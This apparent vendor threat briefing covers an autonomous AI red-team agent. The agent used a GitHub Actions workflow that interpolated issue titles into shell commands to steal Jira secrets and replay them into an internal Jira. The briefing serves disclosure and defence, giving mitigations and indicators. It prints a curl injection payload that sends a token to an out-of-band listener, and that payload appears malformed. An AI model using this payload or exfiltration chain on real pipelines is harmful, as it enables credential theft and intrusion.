# One Untrusted String, Three Trust Boundaries
> Wiz's autonomous Red Agent carried a single public GitHub issue title across three trust boundaries into Snowflake's internal Jira. Nobody drove it.
- **Publisher:** Optimus Labs · Civilizations
- **Published:** 2026-08-17
- **Severity:** HIGH · ROGUE AI
- **Types:** Rogue AI, Coding agent, Supply chain
- **Categories:** AI — AI Asset Supply Chain Security; AL — Agentware Lifecycle Security; AP — Agent Permissions; OL — Outside the Agentic Loop
- **Vendors / products affected:** Wiz, Snowflake, GitHub, Atlassian Jira
- **Blast radius:** Snowflake's own public .NET connector repository was the entry point, and a CI secret in its GitHub Actions runner unlocked READ access across Snowflake's internal engineering, security-compliance and bug-bounty Jira projects. No customer data and no data warehouse were reached.
- **Canonical URL:** https://www.optimuslabs.io/research/briefings/wiz-red-agent-snowflake-trust-boundaries
## Summary

An attacker-controlled GitHub issue title crossed three trust boundaries: from the untrusted public internet into a trusted GitHub Actions runner, outbound from that runner to an attacker listener carrying the runner's Jira secrets, then inbound into Snowflake's internal Atlassian Jira with the replayed token. Wiz's autonomous Red Agent ran the chain end to end, rewriting its own payload when the first attempt broke bash. Snowflake was not a chosen target; the agent sweeps public attack surface and landed where a live flaw sat.

## What happened

- The agent ran as an anonymous GitHub user against github.com/snowf1akedb/snowf1ake-connector-net, Snowflake's public .NET connector, with the generic objective of finding any public repo with a reachable secret.
- `jira_issue.yml` interpolated the untrusted issue title into a shell `run:` block, giving command injection inside the trusted runner. The workflow's `if:` gate was bypassed because `github.event.pull_request.user.login` is null on `issues` events. The vulnerable line shipped in an AI-assisted PR that both Copilot review and CodeQL passed.
- The injected command read `JIRA_API_TOKEN`, `JIRA_USER_EMAIL` and `JIRA_BASE_URL` from the runner and sent them base64-encoded to an attacker-controlled `*.oast.me` listener, because egress from the runner was unrestricted.
- The stolen token (qa@snowflake.net) was replayed against Snowflake's internal Atlassian Jira, granting READ across engineering, security-compliance and bug-bounty projects.
- Timeline: the flaw was live from Jun 18, found and patched Jun 23, token rotated Jun 24, and publicly disclosed Aug 17, 2026. Wiz was the sole actor (audit-confirmed) and the PoC data was deleted.

## Why it matters

- This was not a real-world breach, but it is a live preview of one. Access was READ-only to internal Jira with no customer data and no data warehouse touched. A real attacker in the same position could have mined unpatched-bug and security tickets.
- The point Wiz was proving is the part that should worry security teams: an autonomous agent can find and exploit a real bug by itself, at machine speed, with no human picking the target and no human driving the exploit.
- Two AI-era controls sat directly in the path and did not stop it. An AI-assisted PR introduced the injection, and Copilot review plus CodeQL both passed it. Agentic activity on both sides of this incident, authoring and attacking, was invisible to conventional review.
- The blast radius came from a CI runner holding a long-lived credential into an internal system with unrestricted egress. The injection was the trigger; the trust boundary design was the impact.

## What to do

- Audit every GitHub Actions workflow that interpolates event data (`github.event.issue.title`, PR titles, branch names) into `run:` blocks. Pass untrusted values through `env:` variables and quote them instead.
- Verify `if:` gates against the actual event payload. Fields like `github.event.pull_request.user.login` are null on `issues` events, so a gate written for PRs silently passes.
- Restrict egress from CI runners so a compromised step cannot make arbitrary out-of-band callbacks to listeners such as `*.oast.me`.
- Remove long-lived internal credentials from CI. Scope Jira and other internal tokens to the minimum project set, prefer short-lived credentials, and rotate on any suspected exposure.
- Treat AI-assisted PRs as untrusted input to your review process. Copilot review and CodeQL both passing is not evidence that an injection sink is safe.

## Indicators of compromise

- Repo: github.com/snowf1akedb/snowf1ake-connector-net
- Workflow: jira_issue.yml (`run:` step interpolating the issue title)
- Exfil listener: *.oast.me (out-of-band callback)
- Secrets exposed: JIRA_API_TOKEN, JIRA_USER_EMAIL, JIRA_BASE_URL
- Replayed identity: qa@snowflake.net
- Tracking: no CVE assigned; HackerOne #3819931; PR #1218; CWE-78

## Sample output

```
# Malicious GitHub issue title (payload)
';curl oast.me?t=$(<.JIRA_API_TOKEN base64) ;echo
```

## Sources

- Wiz — Red Agent research (URL pending)
- The Register — incident coverage (URL pending)
- TheNextWeb — GitHub disputes Copilot authorship claim (URL pending)
- HackerOne report #3819931 (URL pending)

---

Published by Optimus Labs · Civilizations, the threat research team at Optimus Labs. Optimus Labs secures the enterprise agentic AI attack surface: discovery and governance of every AI agent, MCP server, and skill, posture management against the OWASP Top 10 for Agentic Applications, and runtime behavior anomaly detection. More briefings: https://www.optimuslabs.io/research/briefings